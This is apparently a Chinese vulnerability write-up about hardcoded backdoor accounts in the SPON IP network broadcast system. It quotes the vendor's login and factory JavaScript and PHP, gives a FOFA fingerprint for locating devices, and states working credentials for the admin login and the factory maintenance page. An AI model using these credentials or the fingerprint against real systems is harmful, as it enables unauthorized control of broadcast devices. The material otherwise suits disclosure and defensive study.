漏洞描述
SPON世邦IP网络广播系统采用的IPAudio™技术, 将音频信号以数据包形式在局域网和广域网上进行传送,是一套纯数字传输的双向音频扩声系统。传统广播系统存在的音质不佳,传输距离有限,缺乏互动等问题。该系统设备使用简便,只需将终端接入计算机网络即可构成功能强大的数字广播系统,每个接入点无需单独布线,实现计算机网络、数字视频监控、公共广播的多网合一。该系统存在后门账号/硬编码的问题,攻击者可以使用后门账号实现登录
漏洞复现
FOFA
icon_hash="-1830859634"
此漏洞是通过JS代码审计,找到多个接口存在固定的后门账号并且可以登录。
JSFinder提取js文件
/js/index.js?t=
var languageData;
var browserType = false;
var isRegisted = false;
var theme = localStorage.getItem('theme');
//一、定义一个获取DOM元素的方法
var dom = function(selector){
return document.querySelector(selector);
},
box = dom(".drag"),//容器
bg = dom(".bg"),//背景
text = dom(".text"),//文字
slider = dom(".slider"),//滑块
success = false;//是否通过验证的标志
$(function() {
$(document).bind("contextmenu", function(e) {
return false;
});
document.getElementById("imglogo").src = "../images/login.png?t=" + Math.random();
if (theme == null) {
localStorage.setItem('theme', 'green');
theme = 'green';
var link = $('head').find('link:last');
link.attr('href', 'vendors/custom/themes/index_green.css?t=' + Math.random());
} else {
var link = $('head').find('link:last');
link.attr('href', 'vendors/custom/themes/index_' + theme + '.css?t=' + Math.random());
}
if (theme === null || theme === 'green') {
$('#tbuser').css('color', '#73879c');
$('#tbpass').css('color', '#73879c');
$('#cblang').css('color', '#73879c');
} else if (theme === 'black') {
$('#tbuser').css('color', '#b1b1b1');
$('#tbpass').css('color', '#b1b1b1');
$('#cblang').css('color', '#b1b1b1');
}
var protocolStr = document.location.protocol;
if (protocolStr == "https:")
{
document.getElementById("divDrag").style.display = "";
success = false;
}
else
{
document.getElementById("divDrag").style.display = "none";
success = true;
}
$('#btnlic').bind('click', function() {
var regcode = $('#licregcode').val();
var jsonData = {
"regcode": regcode
};
$.ajax({
type: "POST",
url: "../php/reglicense.php",
dataType: "json",
data: {
"jsondata": jsonData
},
success: function(resData) {
if (resData.res == 1) {
isRegisted = true;
$('#setlicwin').modal('hide');
toastr.info(languageData.license_soft_ok, languageData.common_tip);
} else {
toastr.error(languageData.license_soft_not, languageData.common_tip);
}
},
error: function() {
toastr.error(languageData.license_soft_not, languageData.common_tip);
}
});
});
forbidBackward();
toastr.options = {
"closeButton": true,
"debug": false,
"newestOnTop": true,
"progressBar": false,
"rtl": false,
"positionClass": "toast-top-center",
"preventDuplicates": true,
"onclick": null,
"showDuration": 100,
"hideDuration": 500,
"timeOut": 2000,
"extendedTimeOut": 800,
"showEasing": "swing",
"hideEasing": "linear",
"showMethod": "fadeIn",
"hideMethod": "fadeOut"
};
LoadLanguages();
var lan = GetLocalValue("lang");
if (!lan)
lan = getSystemLanguage();
$('#cblang').val(lan);
SaveLocal("lang", lan);
InitLanguage(lan);
isRegisted = false;
$.ajax({
type: "POST",
url: "../php/getlicense.php",
dataType: "json",
success: function(resData) {
var lic = resData.isreg;
var projpwdenabeld = resData.projpwdenabeld || "0";
window.sessionStorage.setItem("projpwdenabeld", projpwdenabeld);
if (lic === "1" || lic === "2" || lic === "3") {
isRegisted = true;
} else {
isRegisted = false;
changeLicense();
$('#setlicwin').modal('show');
}
},
error: function(e) {
alert("App Server connect fail!");
}
});
$("#cblang").change(function() {
var newValue = $(this).val();
var tmpLang = newValue || "zh";
SaveLocal("lang", tmpLang);
InitLanguage(tmpLang);
});
$('#btnlogin').bind('click', function() {
if (isRegisted == false) {
$('#setlicwin').modal('show');
return;
}
if (success == false) {
toastr.error(languageData.sliderTip, languageData.common_tip);
return;
}
var user = $('#tbuser').val();
var passwd = $('#tbpass').val();
var isencrypted = "0";
if (user == "administrator" && passwd == "800823") {
isencrypted = "0";
} else {
var b = new SPON_Base64("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="); //标准base64
passwd = b.encode(passwd).split("").reverse().join(""); //反转
isencrypted = "1";
}
var jsonData = {
"username": user,
"password": passwd,
"isencrypted": isencrypted
};
$.ajax({
type: "POST",
url: "../php/login.php",
dataType: "json",
data: {
"jsondata": jsonData
},
success: function(json) {
if (json.res != 1) {
toastr.error(languageData.index_loginfail, languageData.common_tip);
} else {
SaveLocal("alreadybct", "0");
SaveSession(json.username, json.display, json.modules, json.isadmin, "spon", json.token);
var mainurl = json.mainurl || "main";
var tourl = './html/' + mainurl + '.html?t=' + Math.random();
self.location = tourl;
}
},
error: function() {
toastr.error(languageData.index_loginfail, languageData.common_tip);
}
});
});
});
function BrowserType() {
var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串
var isOpera = userAgent.indexOf("Opera") > -1; //判断是否Opera浏览器
var isIE = ((!!window.ActiveXObject || "ActiveXObject" in window) || (userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1 && !isOpera)); //判断是否IE浏览器
var isEdge = userAgent.indexOf("Edge") > -1; //判断是否IE的Edge浏览器
var isFF = userAgent.indexOf("Firefox") > -1; //判断是否Firefox浏览器
var isSafari = userAgent.indexOf("Safari") > -1 && userAgent.indexOf("Chrome") == -1; //判断是否Safari浏览器
var isChrome = userAgent.indexOf("Chrome") > -1 && userAgent.indexOf("Safari") > -1; //判断Chrome浏览器
browserType = (isIE || isEdge);
}
function LoadLanguages(){
// 读取配置的多语言
var dataroot = "../lan/language.json?t=" + Math.random();
$.ajax({
type: "GET",
async: false,
url: dataroot,
success: function(resData) {
var langlist = eval(resData);
for(var p in langlist){
$('#cblang').append("<option value='" + langlist[p].id + "'>" + langlist[p].name + "</option>");
}
},
error: function(e) {
}
});
}
function InitLanguage(soLang) {
var dataroot = "../lan/" + soLang + ".json?t=" + Math.random();
$.ajax({
type: "GET",
async: false,
url: dataroot,
success: function(resData) {
languageData = eval("(" + resData + ")");
//console.log(languageData);
document.getElementById('labelcopyright').innerHTML = languageData.copyright;
document.getElementById("title").innerText = languageData.login_title;
document.getElementById("login_title").innerText = languageData.login_title;
document.getElementById("tbuser").placeholder = " " + languageData.userlist_col_username;
document.getElementById("tbpass").placeholder = " " + languageData.userlist_col_password;
document.getElementById("btnlogin").innerText = languageData.index_login;
document.getElementById('labellicstate').innerHTML = languageData.license_state;
document.getElementById('labellicallowcount').innerHTML = languageData.license_allow_count;
document.getElementById('labellicallowtime').innerHTML = languageData.license_allow_time;
document.getElementById('labellicmaccode').innerHTML = languageData.license_machine_code;
document.getElementById('labellicregcode').innerHTML = languageData.license_reg_code;
document.getElementById('setlicwinLabel').innerHTML = languageData.main_license;
document.getElementById('labelbtnlic').innerHTML = languageData.main_license;
document.getElementById('slidertext').innerHTML = languageData.sliderTip;
},
error: function(e) {
alert("服务器连接失败 (WEB Server connect fail!)");
}
});
switch (soLang) {
case 'zh':
$('#login_title').css('font-size', '30px');
$('#login_title').css('margin-top', '10px');
break;
case 'en':
$('#login_title').css('font-size', '25px');
$('#login_title').css('margin-top', '15px');
break;
case 'russian':
$('#login_title').css('font-size', '20px');
$('#login_title').css('margin-top', '15px');
break;
}
}
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg);
if (r != null)
return decodeURI(r[2]);
return null;
}
function forbidBackward() {
if (window.history && window.history.pushState) {
$(window).on('popstate', function() {
window.history.pushState('forward', null, '#');
window.history.forward(1);
});
}
window.history.pushState('forward', null, '#'); //在IE中必须得有这两行
window.history.forward(1);
}
function getSystemLanguage() {
var language = (navigator.language || navigator.browserLanguage).toLowerCase();
if (language.indexOf('zh') > -1) {
return 'zh';
} else if (language.indexOf('rus') > -1) {
return 'russian';
} else {
return 'en';
}
}
function changeLicense() {
$.ajax({
type: "POST",
url: "../php/getlicense.php",
dataType: "json",
success: function(resData) {
var lic = resData.isreg;
if (lic === "1") {
$('#licstate').val("soft");
} else if (lic === "2") {
$('#licstate').val("hardware");
} else {
$('#licstate').val("none");
}
$('#licallowcount').val(resData.maxcount);
$('#licallowtime').val(resData.maxtime);
$('#licmaccode').val(resData.maccode);
$('#licregcode').val(resData.regcode);
},
error: function(e) {
alert("服务器连接失败 (App Server connect fail!)");
}
});
}
distance = box.offsetWidth - slider.offsetWidth;//滑动成功的宽度(距离)
//二、给滑块注册鼠标按下事件
slider.onmousedown = function(e){
//1.鼠标按下之前必须清除掉后面设置的过渡属性
slider.style.transition = "";
bg.style.transition ="";
//说明:clientX 事件属性会返回当事件被触发时,鼠标指针向对于浏览器页面(或客户区)的水平坐标。
//2.当滑块位于初始位置时,得到鼠标按下时的水平位置
var e = e || window.event;
var downX = e.clientX;
//三、给文档注册鼠标移动事件
document.onmousemove = function(e){
var e = e || window.event;
//1.获取鼠标移动后的水平位置
var moveX = e.clientX;
//2.得到鼠标水平位置的偏移量(鼠标移动时的位置 - 鼠标按下时的位置)
var offsetX = moveX - downX;
//3.在这里判断一下:鼠标水平移动的距离 与 滑动成功的距离 之间的关系
if( offsetX > distance){
offsetX = distance;//如果滑过了终点,就将它停留在终点位置
}else if( offsetX < 0){
offsetX = 0;//如果滑到了起点的左侧,就将它重置为起点位置
}
//4.根据鼠标移动的距离来动态设置滑块的偏移量和背景颜色的宽度
slider.style.left = offsetX + "px";
bg.style.width = offsetX + "px";
//如果鼠标的水平移动距离 = 滑动成功的宽度
if( offsetX == distance){
//1.设置滑动成功后的样式
text.innerHTML = languageData.validationPassed;
text.style.color = "#fff";
slider.innerHTML = "√";
slider.style.color = "green";
bg.style.backgroundColor = "lightgreen";
//2.设置滑动成功后的状态
success = true;
//成功后,清除掉鼠标按下事件和移动事件(因为移动时并不会涉及到鼠标松开事件)
slider.onmousedown = null;
document.onmousemove = null;
//3.成功解锁后的回调函数
// setTimeout(function(){
// // alert('解锁成功!');
// lock = false;
// },100);
}
}
//四、给文档注册鼠标松开事件
document.onmouseup = function(e){
//如果鼠标松开时,滑到了终点,则验证通过
if(success){
return;
}else{
//反之,则将滑块复位(设置了1s的属性过渡效果)
slider.style.left = 0;
bg.style.width = 0;
slider.style.transition = "left 1s ease";
bg.style.transition = "width 1s ease";
}
//只要鼠标松开了,说明此时不需要拖动滑块了,那么就清除鼠标移动和松开事件。
document.onmousemove = null;
document.onmouseup = null;
}
}
这里的账号密码是写死的
访问/php/login.php使用账号administrator 密码800823可以直接登录后台
/html/factory.html 接口处也存在硬编码问题
/html/factory.html 厂商维护界面。
在/js/factory.js的源码中显示,厂商维护界面的密码是硬编码,写死在js中,所以可以通过"Rdc070#*"登录。
/js/factory.js
$(function() {
loadfactorydata();
$("#btnfactory").bind('click', function() {
var factory_password = $("#inputfactory").val();
if (factory_password == "Rdc070#*") {
// $("#select_type").css("display", "");
$("#select_type").fadeIn();
} else {
alert("密码输入错误, 请重新输入!")
}
});
$("#btnfactorysave").bind('click', function() {
var webtype = $("#type_value").val(); //版本类型
var datatype = $("#NAS_type").val(); //NAS版本类型
var enableifly = $("#enable_ifly").val(); //NAS版本类型
var meetmaxcount = $("#cbMeetingMaxCount").val(); //最大会议数量
var meetgroupcount = $("#cbMeetingGroupCount").val(); //最大会议组
var jsonData = {
"webtype": webtype,
"datatype": datatype,
"enableifly": enableifly,
"meetmaxcount": meetmaxcount,
"meetgroupcount": meetgroupcount
};
$.ajax({
type: "POST",
url: "../php/setfactoryconf.php",
dataType: "json",
data: {
"jsondata": jsonData
},
success: function(json) {
if (json.res != 1) {
alert('保存失败!!!');
} else {
alert('保存成功.');
}
},
error: function() {
alert('保存失败!!!');
}
});
});
});
function loadfactorydata()
{
$.ajax({
type: "POST",
url: "../php/getfactoryconf.php",
dataType: "json",
success: function(json) {
$("#type_value").val(json.webtype);
$("#NAS_type").val(json.datatype);
$("#enable_ifly").val(json.enableifly);
$("#cbMeetingMaxCount").val(json.meetmaxcount);
$("#cbMeetingGroupCount").val(json.meetgroupcount);
},
error: function() {
}
});
}
后门密码 Rdc070#*
成功登录
/php/login.php
<?php
require_once ('conversion.php');
$postData = $_POST['jsondata'];
$arr['res'] = 0;
if (isset($postData['username'])) {
$user = $postData['username'];
$pass = $postData['password'];
if ('800823' == $pass && 'administrator' == $user)
{
$arr['username'] = 'administrator';
$arr['password'] = '800823';
$arr['display'] = 'administrator';
$arr['modules'] = '1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1';
$arr['rights'] = '*';
$arr['serverrights'] = '*';
$arr['isadmin'] = '1';
$arr['bindterminals'] = '';
$arr['res'] = 1;
$arr['mainurl'] = 'main';
$arr['token'] = 'SESSION';
echo JSON($arr);
}
else
{
$result = UdpSendAndRecvJson($postData, "login");
echo $result;
}
}
?>
这个地方的密码也是写死的